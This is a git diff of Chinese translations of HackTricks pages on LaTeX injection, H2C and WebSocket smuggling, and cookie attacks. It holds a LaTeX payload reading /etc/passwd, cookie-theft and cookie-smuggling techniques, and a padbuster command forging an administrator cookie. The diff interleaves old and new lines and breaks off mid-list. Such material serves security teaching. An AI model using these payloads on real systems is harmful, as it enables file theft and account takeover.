||||
|
||||
### Read file <a href="#read-file" id="read-file"></a>
|
||||
|
||||
您可能需要使用包装器调整注入,例如 \[ 或 $。
|
||||
您可能需要使用 \[ 或 $ 来调整注入。
|
||||
```bash
|
||||
\input{/etc/passwd}
|
||||
\include{password} # load .tex file
|
||||
|
@ -198,23 +190,18 @@ Google Sheets 提供可以被利用进行 OOB 数据提取的函数:
|
|||
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
|
||||
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
|
||||
|
||||
**努力安全小组**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# 升级头部走私
|
||||
# 升级头部欺骗
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -9,27 +9,19 @@
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**努力安全小组**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### H2C 走私 <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
### H2C 欺骗 <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
|
||||
#### 明文 HTTP2 (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
|
||||
H2C,或称为 **明文 HTTP2**,通过将标准 HTTP **连接升级为持久连接**,偏离了瞬态 HTTP 连接的常规。这种升级的连接利用 http2 二进制协议进行持续通信,而不是明文 HTTP 的单请求特性。
|
||||
|
||||
走私问题的关键在于使用 **反向代理**。通常,反向代理处理并转发 HTTP 请求到后端,然后返回后端的响应。然而,当 HTTP 请求中存在 `Connection: Upgrade` 头时(通常在 websocket 连接中看到),反向 **代理在客户端和服务器之间保持持久连接**,促进某些协议所需的持续交换。对于 H2C 连接,遵循 RFC 需要存在三个特定的头部:
|
||||
欺骗问题的关键在于使用 **反向代理**。通常,反向代理处理并转发 HTTP 请求到后端,然后返回后端的响应。然而,当 HTTP 请求中存在 `Connection: Upgrade` 头时(通常在 websocket 连接中看到),反向 **代理在客户端和服务器之间保持持久连接**,促进某些协议所需的持续交换。对于 H2C 连接,遵循 RFC 需要存在三个特定的头部:
|
||||
```
|
||||
Upgrade: h2c
|
||||
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
|
||||
|
@ -58,10 +50,10 @@ Connection: Upgrade, HTTP2-Settings
|
|||
|
||||
#### 利用 <a href="#exploitation" id="exploitation"></a>
|
||||
|
||||
需要注意的是,并非所有服务器都固有地转发 H2C 连接升级所需的头。因此,像 AWS ALB/CLB、NGINX 和 Apache Traffic Server 等服务器自然会阻止 H2C 连接。尽管如此,值得测试不合规的 `Connection: Upgrade` 变体,该变体从 `Connection` 头中排除了 `HTTP2-Settings` 值,因为某些后端可能不符合标准。
|
||||
需要注意的是,并非所有服务器都固有地转发符合 H2C 连接升级所需的头。因此,像 AWS ALB/CLB、NGINX 和 Apache Traffic Server 等服务器自然会阻止 H2C 连接。尽管如此,值得测试不合规的 `Connection: Upgrade` 变体,该变体从 `Connection` 头中排除了 `HTTP2-Settings` 值,因为某些后端可能不符合标准。
|
||||
|
||||
{% hint style="danger" %}
|
||||
无论在 `proxy_pass` URL 中指定的具体 **路径**(例如 `http://backend:9999/socket.io`)是什么,建立的连接默认指向 `http://backend:9999`。这允许与该内部端点内的任何路径进行交互,利用此技术。因此,在 `proxy_pass` URL 中指定路径并不限制访问。
|
||||
无论在 `proxy_pass` URL 中指定的具体 **路径**(例如 `http://backend:9999/socket.io`)是什么,建立的连接默认为 `http://backend:9999`。这允许与该内部端点内的任何路径进行交互,利用此技术。因此,在 `proxy_pass` URL 中指定路径并不限制访问。
|
||||
{% endhint %}
|
||||
|
||||
工具 [**h2csmuggler by BishopFox**](https://github.com/BishopFox/h2csmuggler) 和 [**h2csmuggler by assetnote**](https://github.com/assetnote/h2csmuggler) 通过建立 H2C 连接来帮助尝试 **绕过代理施加的保护**,从而访问被代理保护的资源。
|
||||
|
@ -70,15 +62,15 @@ Connection: Upgrade, HTTP2-Settings
|
|||
|
||||
## Websocket Smuggling
|
||||
|
||||
Websocket smuggling 与通过代理创建 HTTP2 隧道到可访问的端点不同,它建立一个 Websocket 隧道以绕过潜在的代理限制,并促进与端点的直接通信。
|
||||
Websocket smuggling 与通过代理创建 HTTP2 隧道到可访问的端点不同,它建立一个 Websocket 隧道以绕过潜在的代理限制并促进与端点的直接通信。
|
||||
|
||||
### 场景 1
|
||||
|
||||
在此场景中,目标是一个提供公共 WebSocket API 的后端,以及一个无法访问的内部 REST API,恶意客户端试图访问内部 REST API。攻击分为几个步骤:
|
||||
在此场景中,后端提供公共 WebSocket API,同时有一个无法访问的内部 REST API,恶意客户端试图访问内部 REST API。攻击分为几个步骤:
|
||||
|
||||
1. 客户端通过向反向代理发送带有错误的 `Sec-WebSocket-Version` 协议版本的 Upgrade 请求来启动。代理未能验证 `Sec-WebSocket-Version` 头,认为 Upgrade 请求有效并将其转发给后端。
|
||||
2. 后端以状态码 `426` 响应,指示 `Sec-WebSocket-Version` 头中的协议版本不正确。反向代理忽视后端的响应状态,假设已准备好进行 WebSocket 通信,并将响应转发给客户端。
|
||||
3. 因此,反向代理被误导为相信客户端与后端之间已建立 WebSocket 连接,而实际上后端已拒绝 Upgrade 请求。尽管如此,代理仍在客户端和后端之间保持开放的 TCP 或 TLS 连接,允许客户端通过此连接无限制访问私有 REST API。
|
||||
3. 因此,反向代理被误导认为客户端和后端之间已建立 WebSocket 连接,而实际上后端已拒绝 Upgrade 请求。尽管如此,代理在客户端和后端之间保持开放的 TCP 或 TLS 连接,允许客户端通过此连接无限制访问私有 REST API。
|
||||
|
||||
受影响的反向代理包括 Varnish,该代理拒绝解决此问题,以及 Envoy 代理版本 1.8.0 或更早版本,后续版本已更改升级机制。其他代理也可能易受攻击。
|
||||
|
||||
|
@ -86,7 +78,7 @@ Websocket smuggling 与通过代理创建 HTTP2 隧道到可访问的端点不
|
|||
|
||||
### 场景 2
|
||||
|
||||
此场景涉及一个同时具有公共 WebSocket API 和用于健康检查的公共 REST API 的后端,以及一个无法访问的内部 REST API。攻击更复杂,涉及以下步骤:
|
||||
此场景涉及一个后端,既有公共 WebSocket API,也有用于健康检查的公共 REST API,以及一个无法访问的内部 REST API。攻击更复杂,涉及以下步骤:
|
||||
|
||||
1. 客户端发送 POST 请求以触发健康检查 API,包括额外的 HTTP 头 `Upgrade: websocket`。NGINX 作为反向代理,将其解释为基于 `Upgrade` 头的标准 Upgrade 请求,忽略请求的其他方面,并将其转发给后端。
|
||||
2. 后端执行健康检查 API,联系由攻击者控制的外部资源,该资源返回状态码为 `101` 的 HTTP 响应。此响应在被后端接收并转发给 NGINX 后,欺骗代理认为已建立 WebSocket 连接,因为它仅验证了状态码。
|
||||
|
@ -95,7 +87,7 @@ Websocket smuggling 与通过代理创建 HTTP2 隧道到可访问的端点不
|
|||
|
||||
> **警告:** 此技术的复杂性增加,因为它需要能够与能够返回状态码 101 的端点进行交互。
|
||||
|
||||
最终,NGINX 被欺骗为相信客户端与后端之间存在 WebSocket 连接。实际上,并不存在这样的连接;健康检查 REST API 是目标。尽管如此,反向代理仍保持连接开放,使客户端能够通过它访问私有 REST API。
|
||||
最终,NGINX 被欺骗认为客户端和后端之间存在 WebSocket 连接。实际上,并不存在这样的连接;健康检查 REST API 是目标。尽管如此,反向代理保持连接开放,使客户端能够通过它访问私有 REST API。
|
||||
|
||||
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png)
|
||||
|
||||
|
@ -103,7 +95,7 @@ Websocket smuggling 与通过代理创建 HTTP2 隧道到可访问的端点不
|
|||
|
||||
#### 实验室
|
||||
|
||||
检查实验室以测试这两个场景 [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
|
||||
检查实验室以测试这两种场景 [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
|
||||
|
||||
### 参考文献
|
||||
|
||||
|
@ -112,22 +104,16 @@ Websocket smuggling 与通过代理创建 HTTP2 隧道到可访问的端点不
|
|||
* [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
|
||||
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客攻击:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习与实践 AWS 黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客攻击: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,31 +15,24 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Cookie 属性
|
||||
|
||||
Cookies 具有多个属性,控制其在用户浏览器中的行为。以下是这些属性的简要说明:
|
||||
Cookies 具有多个属性,控制它们在用户浏览器中的行为。以下是这些属性的概述:
|
||||
|
||||
### Expires 和 Max-Age
|
||||
### 过期和最大年龄
|
||||
|
||||
Cookie 的过期日期由 `Expires` 属性决定。相反,`Max-age` 属性定义了在删除 Cookie 之前的秒数。**选择 `Max-age`,因为它反映了更现代的做法。**
|
||||
|
||||
### Domain
|
||||
### 域
|
||||
|
||||
接收 Cookie 的主机由 `Domain` 属性指定。默认情况下,这设置为发出 Cookie 的主机,不包括其子域。然而,当 `Domain` 属性被显式设置时,它也包括子域。这使得 `Domain` 属性的指定成为一个不那么严格的选项,适用于需要跨子域共享 Cookie 的场景。例如,设置 `Domain=mozilla.org` 使得其子域如 `developer.mozilla.org` 上的 Cookie 可访问。
|
||||
接收 Cookie 的主机由 `Domain` 属性指定。默认情况下,这设置为发出 Cookie 的主机,不包括其子域。然而,当 `Domain` 属性被显式设置时,它也包括子域。这使得 `Domain` 属性的指定成为一个不那么严格的选项,适用于需要跨子域共享 Cookie 的场景。例如,设置 `Domain=mozilla.org` 使得在其子域如 `developer.mozilla.org` 上可以访问 Cookie。
|
||||
|
||||
### Path
|
||||
### 路径
|
||||
|
||||
`Path` 属性指示必须在请求的 URL 中存在的特定 URL 路径,以便发送 `Cookie` 头。此属性将 `/` 字符视为目录分隔符,允许在子目录中匹配。
|
||||
|
||||
### Ordering Rules
|
||||
### 排序规则
|
||||
|
||||
当两个 Cookie 具有相同名称时,选择发送的 Cookie 基于:
|
||||
|
||||
|
@ -56,20 +49,20 @@ Cookie 的过期日期由 `Expires` 属性决定。相反,`Max-age` 属性定
|
|||
请记住,在配置 Cookie 时,理解这些属性可以帮助确保它们在不同场景中按预期行为。
|
||||
|
||||
| **请求类型** | **示例代码** | **发送 Cookie 的条件** |
|
||||
| ---------------- | ---------------------------------- | --------------------- |
|
||||
| Link | \<a href="...">\</a> | NotSet\*, Lax, None |
|
||||
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
|
||||
| Form GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
|
||||
| Form POST | \<form method="POST" action="..."> | NotSet\*, None |
|
||||
| -------------- | ------------------------------ | --------------------- |
|
||||
| 链接 | \<a href="...">\</a> | NotSet\*, Lax, None |
|
||||
| 预渲染 | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
|
||||
| 表单 GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
|
||||
| 表单 POST | \<form method="POST" action="..."> | NotSet\*, None |
|
||||
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
|
||||
| AJAX | $.get("...") | NotSet\*, None |
|
||||
| Image | \<img src="..."> | NetSet\*, None |
|
||||
| 图片 | \<img src="..."> | NetSet\*, None |
|
||||
|
||||
表格来自 [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) 并稍作修改。\
|
||||
具有 _**SameSite**_ 属性的 Cookie 将 **减轻 CSRF 攻击**,其中需要登录会话。
|
||||
|
||||
**\*请注意,从 Chrome80(2019年2月)开始,未设置 Cookie SameSite 属性的 Cookie 的默认行为将为 Lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
请注意,临时情况下,在应用此更改后,Chrome 中 **没有 SameSite** **策略的 Cookie 将在 **前 2 分钟内被 **视为 None**,然后在顶级跨站点 POST 请求中视为 Lax。**
|
||||
**\*请注意,从 Chrome80(2019年2月)开始,未设置 Cookie SameSite 属性的 Cookie 的默认行为将是 Lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
请注意,临时情况下,在应用此更改后,**没有 SameSite** **策略的 Cookie 在 Chrome 中将被** **视为 None**,在 **前 2 分钟内,然后在顶级跨站点 POST 请求中视为 Lax**。
|
||||
|
||||
## Cookies 标志
|
||||
|
||||
|
@ -79,11 +72,11 @@ Cookie 的过期日期由 `Expires` 属性决定。相反,`Max-age` 属性定
|
|||
|
||||
#### **绕过**
|
||||
|
||||
* 如果页面 **将 Cookie 作为请求的响应发送**(例如在 **PHPinfo** 页面中),可以利用 XSS 发送请求到此页面并 **窃取响应中的 Cookie**(请查看 [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/) 中的示例)。
|
||||
* 如果页面 **将 Cookie 作为请求的响应发送**(例如在 **PHPinfo** 页面中),可以利用 XSS 发送请求到此页面并 **窃取响应中的 Cookie**(请查看示例 [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/))。
|
||||
* 这可以通过 **TRACE** **HTTP** 请求绕过,因为服务器的响应将反映发送的 Cookie(如果此 HTTP 方法可用)。此技术称为 **跨站点跟踪**。
|
||||
* 现代浏览器通过不允许从 JS 发送 TRACE 请求来避免此技术。然而,在特定软件中发现了一些绕过方法,例如向 IE6.0 SP2 发送 `\r\nTRACE` 而不是 `TRACE`。
|
||||
* 另一种方法是利用浏览器的零日漏洞。
|
||||
* 通过执行 Cookie Jar 溢出攻击,可以 **覆盖 HttpOnly Cookie**:
|
||||
* 可以通过执行 Cookie Jar 溢出攻击来 **覆盖 HttpOnly Cookie**:
|
||||
|
||||
{% content-ref url="cookie-jar-overflow.md" %}
|
||||
[cookie-jar-overflow.md](cookie-jar-overflow.md)
|
||||
|
@ -97,12 +90,12 @@ Cookie 的过期日期由 `Expires` 属性决定。相反,`Max-age` 属性定
|
|||
|
||||
## Cookies 前缀
|
||||
|
||||
以 `__Secure-` 开头的 Cookie 必须与通过 HTTPS 保护的页面的 `secure` 标志一起设置。
|
||||
以 `__Secure-` 开头的 Cookie 必须与来自 HTTPS 的页面一起设置 `secure` 标志。
|
||||
|
||||
对于以 `__Host-` 开头的 Cookie,必须满足以下几个条件:
|
||||
|
||||
* 必须设置 `secure` 标志。
|
||||
* 必须来自通过 HTTPS 保护的页面。
|
||||
* 必须来自由 HTTPS 保护的页面。
|
||||
* 禁止指定域,防止其传输到子域。
|
||||
* 这些 Cookie 的路径必须设置为 `/`。
|
||||
|
||||
|
@ -110,11 +103,11 @@ Cookie 的过期日期由 `Expires` 属性决定。相反,`Max-age` 属性定
|
|||
|
||||
### 覆盖 Cookie
|
||||
|
||||
因此,`__Host-` 前缀 Cookie 的保护之一是防止它们被子域覆盖。例如,防止 [**Cookie Tossing 攻击**](cookie-tossing.md)。在演讲 [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**论文**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) 中,展示了通过欺骗解析器,可以从子域设置 \_\_HOST- 前缀的 Cookie,例如,在开头或结尾添加 "=":
|
||||
因此,`__Host-` 前缀 Cookie 的保护之一是防止它们被子域覆盖。例如,防止 [**Cookie Tossing 攻击**](cookie-tossing.md)。在演讲 [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**论文**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) 中,展示了可以通过欺骗解析器从子域设置 __HOST- 前缀的 Cookie,例如,在开头或结尾添加 "=":
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
或者在 PHP 中,可以在 Cookie 名称的 **开头添加其他字符**,这些字符将被 **替换为下划线** 字符,从而允许覆盖 `__HOST-` Cookie:
|
||||
或者在 PHP 中,可以在 Cookie 名称的 **开头添加其他字符**,这些字符将被 **替换为下划线**,允许覆盖 `__HOST-` Cookie:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -128,11 +121,11 @@ Cookie 的过期日期由 `Expires` 属性决定。相反,`Max-age` 属性定
|
|||
|
||||
### 会话劫持
|
||||
|
||||
此攻击涉及窃取用户的 Cookie,以获得对其在应用程序中的帐户的未经授权访问。通过使用被盗的 Cookie,攻击者可以冒充合法用户。
|
||||
此攻击涉及窃取用户的 Cookie,以获得对其在应用程序中的帐户的未授权访问。通过使用被盗的 Cookie,攻击者可以冒充合法用户。
|
||||
|
||||
### 会话固定
|
||||
|
||||
在这种情况下,攻击者诱使受害者使用特定的 Cookie 登录。如果应用程序在登录时不分配新的 Cookie,攻击者就可以使用原始 Cookie 冒充受害者。此技术依赖于受害者使用攻击者提供的 Cookie 登录。
|
||||
在这种情况下,攻击者诱使受害者使用特定的 Cookie 登录。如果应用程序在登录时不分配新 Cookie,攻击者就可以使用原始 Cookie 冒充受害者。此技术依赖于受害者使用攻击者提供的 Cookie 登录。
|
||||
|
||||
如果您在 **子域中发现了 XSS** 或您 **控制一个子域**,请阅读:
|
||||
|
||||
|
@ -154,7 +147,7 @@ Cookie 的过期日期由 `Expires` 属性决定。相反,`Max-age` 属性定
|
|||
|
||||
点击上面的链接访问解释 JWT 可能存在缺陷的页面。
|
||||
|
||||
用于 Cookie 的 JSON Web Tokens (JWT) 也可能存在漏洞。有关潜在缺陷及其利用方法的深入信息,建议访问有关黑客 JWT 的链接文档。
|
||||
用于 Cookie 的 JSON Web Tokens (JWT) 也可能存在漏洞。有关潜在缺陷及其利用方式的详细信息,建议访问有关黑客 JWT 的链接文档。
|
||||
|
||||
### 跨站请求伪造 (CSRF)
|
||||
|
||||
|
@ -188,7 +181,7 @@ document.cookie = "\ud800=meep";
|
|||
|
||||
#### 由于解析问题导致的 Cookie 走私
|
||||
|
||||
(查看[原始研究](https://blog.ankursundara.com/cookie-bugs/)的更多细节)包括 Java(Jetty、TomCat、Undertow)和 Python(Zope、cherrypy、web.py、aiohttp、bottle、webob)在内的多个网络服务器,由于对过时的 RFC2965 支持,错误处理 cookie 字符串。它们将双引号括起来的 cookie 值视为单个值,即使它包含分号,而分号通常应分隔键值对:
|
||||
(查看[原始研究](https://blog.ankursundara.com/cookie-bugs/)的更多细节)包括 Java(Jetty, TomCat, Undertow)和 Python(Zope, cherrypy, web.py, aiohttp, bottle, webob)在内的多个网络服务器,由于对过时的 RFC2965 支持,错误处理 cookie 字符串。它们将双引号括起来的 cookie 值视为单个值,即使它包含分号,而分号通常应分隔键值对:
|
||||
```
|
||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
```
|
||||
|
@ -200,7 +193,7 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
|||
* Zope 寻找逗号以开始解析下一个 cookie。
|
||||
* Python 的 cookie 类在空格字符上开始解析。
|
||||
|
||||
这种漏洞在依赖基于 cookie 的 CSRF 保护的 web 应用程序中尤其危险,因为它允许攻击者注入伪造的 CSRF-token cookies,可能绕过安全措施。这个问题因 Python 对重复 cookie 名称的处理而加剧,最后一个出现的名称会覆盖之前的名称。它还引发了对不安全上下文中 `__Secure-` 和 `__Host-` cookies 的担忧,并可能导致在将 cookies 传递给易受伪造影响的后端服务器时绕过授权。
|
||||
这种漏洞在依赖基于 cookie 的 CSRF 保护的 web 应用程序中尤其危险,因为它允许攻击者注入伪造的 CSRF-token cookies,可能绕过安全措施。这个问题因 Python 对重复 cookie 名称的处理而加剧,最后一个出现的名称会覆盖之前的名称。它还引发了对不安全上下文中 `__Secure-` 和 `__Host-` cookies 的担忧,并可能导致在将 cookies 传递给易受伪造攻击的后端服务器时绕过授权。
|
||||
|
||||
### Extra Vulnerable Cookies Checks
|
||||
|
||||
|
@ -210,15 +203,15 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
|||
* 登出并尝试使用相同的 cookie。
|
||||
* 尝试用 2 个设备(或浏览器)使用相同的 cookie 登录同一账户。
|
||||
* 检查 cookie 中是否有任何信息并尝试修改它。
|
||||
* 尝试创建多个几乎相同用户名的账户,并检查是否可以看到相似之处。
|
||||
* 检查是否存在 "**记住我**" 选项以查看其工作原理。如果存在并可能存在漏洞,始终使用 "**记住我**" 的 cookie,而不使用其他 cookie。
|
||||
* 尝试创建多个几乎相同用户名的账户并检查是否可以看到相似之处。
|
||||
* 检查是否存在 "**记住我**" 选项以查看其工作原理。如果存在并可能存在漏洞,始终使用 **记住我** 的 cookie,而不使用其他 cookie。
|
||||
* 检查即使在更改密码后,之前的 cookie 是否仍然有效。
|
||||
|
||||
#### **Advanced cookies attacks**
|
||||
|
||||
如果在登录时 cookie 保持相同(或几乎相同),这可能意味着 cookie 与您账户的某个字段(可能是用户名)相关。然后您可以:
|
||||
|
||||
* 尝试创建许多用户名非常 **相似** 的 **账户**,并尝试 **猜测** 算法的工作原理。
|
||||
* 尝试创建许多用户名非常 **相似** 的 **账户** 并尝试 **猜测** 算法的工作原理。
|
||||
* 尝试 **暴力破解用户名**。如果 cookie 仅作为您用户名的身份验证方法保存,那么您可以创建一个用户名为 "**Bmin**" 的账户,并 **暴力破解** 您的 cookie 的每一个 **位**,因为您尝试的其中一个 cookie 将属于 "**admin**"。
|
||||
* 尝试 **Padding** **Oracle**(您可以解密 cookie 的内容)。使用 **padbuster**。
|
||||
|
||||
|
@ -240,53 +233,48 @@ Padbuster 将进行多次尝试,并会询问您哪个条件是错误条件(
|
|||
```
|
||||
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
||||
```
|
||||
这个执行将正确加密和编码包含字符串 **user=administrator** 的 cookie。
|
||||
这个执行将给你正确加密和编码的cookie,其中包含字符串**user=administrator**。
|
||||
|
||||
**CBC-MAC**
|
||||
|
||||
也许一个 cookie 可以有一些值,并且可以使用 CBC 签名。然后,值的完整性是使用相同值的 CBC 创建的签名。由于建议使用空向量作为 IV,这种完整性检查可能会受到攻击。
|
||||
也许一个cookie可以有一些值,并可以使用CBC进行签名。然后,值的完整性是使用相同值的CBC创建的签名。由于建议使用空向量作为IV,这种完整性检查可能会受到攻击。
|
||||
|
||||
**攻击**
|
||||
|
||||
1. 获取用户名 **administ** 的签名 = **t**
|
||||
2. 获取用户名 **rator\x00\x00\x00 XOR t** 的签名 = **t'**
|
||||
3. 在 cookie 中设置值 **administrator+t'** (**t'** 将是 **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00** 的有效签名)
|
||||
1. 获取用户名**administ**的签名 = **t**
|
||||
